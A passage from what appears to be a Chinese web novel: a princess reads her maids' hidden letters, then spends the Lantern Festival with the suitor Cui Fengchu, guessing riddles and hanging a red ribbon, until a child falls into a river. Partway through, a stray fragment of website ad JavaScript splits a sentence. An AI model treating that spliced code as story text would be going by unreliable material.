至少还能再塞进去一个荷包,或两张帕子,不可能只装下这么点东西。 季檀珠又看了看内里,发觉内侧底部的木头颜色与四壁不一样。 她当即拔下头上一根细长扁簪,撬了好一会儿,才把这层卡在下面的挡板扣下来。 除去隐蔽后,季檀珠发现了底下的纸张。 能进入长宁宫侍奉,又跟在季檀珠身旁,弦言和穗语自然不可能大字不识。 相反,她院中的婢女多多少少都会识文断字。 这些纸上的笔迹不同,应当是她们各自都写了东西。 蝇头小字,密密麻麻爬满略有些泛黄的纸张。 季檀珠只看了上头那张,许是忌讳太后,长宁宫里的事并未多写,偶尔提及,也只是以“太后娘娘一切安好,郡主不必挂念”浅浅代过。 其余的,尽是些胤瑞宫的琐事。 不过都是捕风捉影,胤瑞宫的人都是皇帝和太后亲自筛选过去的,她们二人并不能近那俩兄弟的身,这些消息多出自宫人之口。 这上面写的很多事真假难辨,又有一些模糊不清、言辞含糊之处,通篇都是流水账。 饶是这样,热衷于八卦的季檀珠还是看得津津有味。 不知不觉间,马车停下来,外头有人请她下车。 季檀珠把纸张折好,东西都放回原位,这才下了马车。 甫一站定,就看到了不远处的郎君。 崔奉初头戴白玉冠,腰坠玉佩,一身红衣,因夜里冷,外头还穿了白色鹤氅。 谁来看了,都要感叹这是位丰神俊朗,翩翩浊世佳公子。 他一见到季檀珠,便迫不及待走近些。 季檀珠总觉得他腰间玉佩眼熟,离得近了,才看清这镂空双蛟黄白玉佩。 正是她此前扔给他那块。 没想到他就这么毫无芥蒂的挂在腰间,还招摇过市,用红衣作衬托,生怕别人看不见似的。 季檀珠身旁随行的仆役们,虽一直低着头,可眼神余光都注意到了这位崔公子。 自然也注意到了他腰间所饰之物。 外面人多,崔奉初止步她身前三步之远,规矩行礼,眼神却一直看着她,从未落下分毫。 今夜出行阵仗不大,马车也停靠在了相对隐蔽的地方,但他们二人的容貌气度引人瞩目, 季檀珠怕在这里多留一会儿,会被太多人注意,于是挥退周围的人,让他们隔着一段距离保护即可,自己则上前几步,主动与崔奉初站在同一线的位置。 “等这么久,辛苦了。” 季檀珠看他鼻头和耳朵都冻红了。 崔奉初不否认,笑得眉眼间尽是温柔,仿佛春风提前造访元宵冬夜。 他说:“等檀珠,多久都值得。” 25.河灯 街市灯火如昼,人潮如织。 季檀珠在现代的元宵节从来都只是与家人吃个团圆饭,还从未有过和人一起走在繁华喧嚣的体验。 崔奉初已经安排了今夜的一切,季檀珠虽从不提起自己的病痛,他却不能心里头没熟。 他早在一处酒楼的高处预定了观景的房间,让她看个热闹即可,不必身处其中,以免人潮拥堵,要是影响了她的心情,反倒不好。 可季檀珠似乎有点兴奋,街市旁边的不少灯笼挂了灯谜,季檀珠挨个猜过去。 猜不到谜底也没关系,她会直接略过,把精力和情绪跳转到下一条谜语的思考中。 这种没什么耐心的猜法,致使季檀珠三个里只能猜对一个。 猜错了,崔奉初会笑眯眯提醒她,并不直接纠错,而视引导她往正确谜底上靠近。 若偶然猜对一个,崔奉初也绝不扫兴。 他早有准备,每当季檀珠猜出哪个灯笼上的字谜,他就会让随从把对应样式的灯笼买下来一个。 季檀珠总会亲自拿上新灯笼,走一段路,然后遇到下一个合心意的再丢开。 崔奉初全程奉陪,未有一丝一毫不耐烦。 好在季檀珠是个见异思迁,对新鲜事物只有三分钟热度的人,所以很快就猜腻了灯谜。 回头看了一眼,发现吴鸣和陈默的手上已经提了不少灯笼。 他们二人没有什么异议,季檀珠先不好意思了,她提议道:“你们二人拿着东西回去吧,我和崔郎再玩一会儿。” 吴鸣不爱看这些东西,更不喜欢陪他们二人逛街。 陪年轻女郎逛街,可比练武累多了。他这会儿只觉得浑身憋屈,哪哪都不舒服。 他看了一眼陈默,陈默像是没听到季檀珠的话,面无表情,一直盯着手中的兔子灯,像是要用眼神把灯瞪灭。 见他步子未挪动半寸,吴鸣就知道他靠不住。 于是他又把希望寄托在崔奉初身上,用眼神恳求他放自己离开。 崔奉初接收到他的意思,不过并未直接答应下来。 他犹豫道:“这里人多,吴鸣和陈默眼尖,算是两个帮手,若是你我一不小心走散……” 季檀珠立即拉过他的衣袖,露出洁白皓齿,见牙不见眼的笑着。 “这有什么,我拉着你走,就不怕你走丢了。” 陈默终于不再看兔子灯,而是来回在季檀珠和崔奉初之间逡巡。 以他对自家郎君的了解,崔奉初刚刚话中的意思,应该和宝璋郡主的理解不一样。 可他目光再擦过崔奉初的时候,只见他家郎君咳了一声,偏过头,对他和吴鸣说:“行了,既然檀珠体谅你们,那你们就先回去吧。” 陈默眨了眨眼,被得了赦令的吴鸣拽走。 走出几步后,他还不忘回头看看。 吴鸣注意到他的动作,翻了个白眼:“你干嘛呢!他们俩大活人又不会丢,咱俩赶紧回去歇吧,回去前再拐去酒铺……” 耳边吴鸣的聒噪一力盖群声,陈默感觉脑子嗡嗡的。 他不知道该不该说起刚才的发现。 方才,郎君的耳朵好像红了。 是被灯笼映红的吗?陈默看向吴鸣的耳朵,发现他的耳朵不似崔奉初那般红到滴血。 难道是冻的? 直到吴鸣也发现他的心不在焉,问他:“怎么了,一副魂被吸走了的样子。” 陈默已然猜到了最不可能的可能。 他家端方如玉,恪守规矩的郎君,好像有点喜欢那个性格有些娇纵古怪的宝璋郡主。 “没什么。”陈默叹了口气,想仰头看一眼苍天,却只看见如星子落入人间般密集而摧残的花灯。 “只是感觉挺没意思的。”陈默说。 吴鸣赞同:“确实,这元宵灯市年年都办,年年都是一个样,真不知道有什么趣味可言。” 他提了提手上的灯,看到不远处的酒铺,想要加快脚步,却被陈默的灯笼钩住绦带。 “别急。”崔奉初说,“慢些跑。” 季檀珠远远看到了有棵造型别致的树,一时忘记了刚刚答应过崔奉初的话,撒开腿就要往树下跑。 崔奉初却记得清楚,他眼疾手快抓住像小鸟一样就要飞走的檀珠,和提醒她字谜答案一样,委婉道:“人潮拥堵,檀珠切勿抛下子昉。” 季檀珠很自然地扯过他袖口一角。 冬衣厚重臃肿,借着遮挡,她能感到崔奉初的手悄悄伸了出来,用他的手指勾上了季檀珠一直拽着他衣物的手指。 见她半天没有拒绝,又悄悄攀附上她手掌,用自己的大手将季檀珠微凉的手整个包裹起来。 季檀珠仰头看向崔奉初,他则侧首,早为自己找好了借口,带着腼腆笑意说:“小心走散。” 灯市人声鼎沸,大家互为过目即忘的过客,没有谁会特意去观察他们的一举一动。 在熙熙攘攘中,他们在火树银花与华灯璀璨下有一处静谧而隐蔽的牵连。 或许,天上真有神明在静观人间。 无形之中,崔奉初为自己和季檀珠牵起红线。 喧闹之中,季檀珠听不到他的心跳如雷,指着头顶万千随风飘荡的红绸,问道:“这是许愿用的吗?” 问出这句话时,她就已经默默祈祷自己财源滚滚,福禄双全。 许赛博愿望,挂电子红绸。 谁说游戏里许的愿望不是愿望? “不是。”崔奉初的回答让她有些失望,“这是安平出了名的月老树,传闻有情人将红绸一同挂在树上,就能白头偕老,永结同心。” “这样啊。”季檀珠挠了挠头。 敏锐如崔奉初,又怎会看不出季檀珠的失望。 他原本映着万家灯火的星眸也暗淡了几分,却听见季檀珠说:“来都来了,挂一个吧。” 然后,她去树下摆摊的小贩处买了一根长而细的红色绸带回来。 季檀珠说:“听我指挥,你把这边挂右边这根枝杈上,我挂这跟左边的树枝上。我看了,这丝带滑,容易被风刮跑,挂两头比较保险。” 虽然季檀珠一直没有固定的信仰,但每逢学生时代的期末周、考试出成绩、游戏抽卡、旅游路过寺庙等特殊情况时,她还是会临时抱一下各路神明的大腿。 管这棵树保佑的是什么,她在心里已经许过愿了,万一这赛博神仙就此开辟新业务呢? 季檀珠想的是,不能白来一趟,她要和财富双向奔赴。 崔奉初想的是,两人把红绸各挂一边,千里姻缘一线牵。 一个兴奋到目露精光,另一个也面红耳赤。 挂完红绸,季檀珠感觉有些饿了。 街道旁有不少商贩正在售卖糕点小吃,多数是甜食,空中飘荡着香甜的气息,勾起季檀珠的馋虫。 商贩此起彼伏叫卖着浮圆子。 季檀珠还没尝过,选了一家靠近河景的小店坐下,和老板要了两碗浮圆子来尝。 里头的厨娘不多时端出一盘东西。 季檀珠专程看了看,没想到浮圆子只是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 滚了糯米粉的汤圆。 “早该想到的。”季檀珠有点失落,“元宵灯市肯定是元宵卖得最多。” 待煮熟后,她又尝了一个,意外的比她买的速冻汤圆好吃。 馅料有坚果、枣泥、水果,还有比较经典的花生和芝麻。 口感比寻常汤圆硬一些,煮出来也更大。 崔奉初见她吃了几个,不忍扫兴,却还是在她提议要第二碗时出声阻止:“这东西吃多了易积食,况且吃多了,也没有肚子吃旁的,我知道前面有一家卖山楂糕的,你若喜欢,我们可以再往前走走。” 方才一直走着不要紧,坐下片刻后,腿脚反而酸痛。 季檀珠说:“那你给我买好不好,我就在这里等你。” 崔奉初本来犹豫,可季檀珠再三保证自己不会乱跑,又说侍卫从未远离,让他安心去买,他这才妥协。 有不少人在河边放灯,一条穿过安平的小河,河岸边被形似百花的河灯覆盖。 空闲的河面,则是映照着繁华的街市倒影。 河中央没有被灯火映照发亮,却布满漫天星子。 季檀珠坐在这里,不一会儿就要提着小竹篮的孩子过来,让她买一盏河灯。 “漂亮阿姊,买个河灯吧。” 这小孩的业务还不是很熟练,说完便眼巴巴看着她,再没有多的话了。 季檀珠摸摸她的头,看她冬季尚且穿着单薄衣衫,没有趁此机会逗她,爽快掏钱买了一盏。 一盏河灯只需要十几文,季檀珠没有零钱,给小孩一块碎银。 她找不开钱,季檀珠见她急得满头大汗,索性笑着说:“这些灯我都买下了,你快回去与家人团聚吧。” 小女孩儿晕晕乎乎看着这个恍若仙子的漂亮姐姐,红着脸说了谢谢。 季檀珠答应了崔奉初,不能离开这里。 所以,她并没有急着去放灯,而是继续赏景。 卖灯的小女孩走了又回来,以为她是不会放灯,于是磕巴着说:“姐姐,跨过百病桥,就有放灯的地方。” 说着,就拉着她的衣袖,要往外头走。 这孩子人小小一只,劲儿比牛还大,季檀珠阻止了要来去驱赶她离开的侍卫,跟着她来到了百病桥下。 季檀珠点燃一盏河灯,在小孩儿期待的目光中闭上眼,许了个愿望,然后就要蹲下身放河灯。 莲花状的河灯没飘多远,就被其他灯挤掉,覆灭在河中。 那小孩儿比她还激动。 “姐姐,我来帮你放。” 说着,她点燃一盏灯,捧起来,让季檀珠接着许愿。 这小孩儿的眼睛清澈水灵,此刻全是紧张和期待,季檀珠不忍心成为一个扫兴的大人,顺着她的动作飞快重复了刚才的愿望,然后睁眼说:“好了。” 听到她的话,小女孩儿踩着河水,用手护着河灯往河中去。 “你快回来吧。”季檀珠见她越走越远,有些紧张。 小女孩儿却很倔强,像是回答她,又像是给自己打气:“没关系,没关系……” 夜晚难辨脚下水况,她虽然嘴上这么说着,可脚下不知踩到哪一块被水侵蚀松脱的石块,一不小心就滑落进河。 季檀珠的心跳紧张到漏跳一拍,她是个旱鸭子,只能大喊着救命,开始寻找最近的侍卫。 还没等侍卫走近,扑通一声,有人先一步跳入水中救人。 水面激起水花,溅到季檀珠的披风上。 冰冷的河水沾湿衣裳,直拉着她的心往下坠。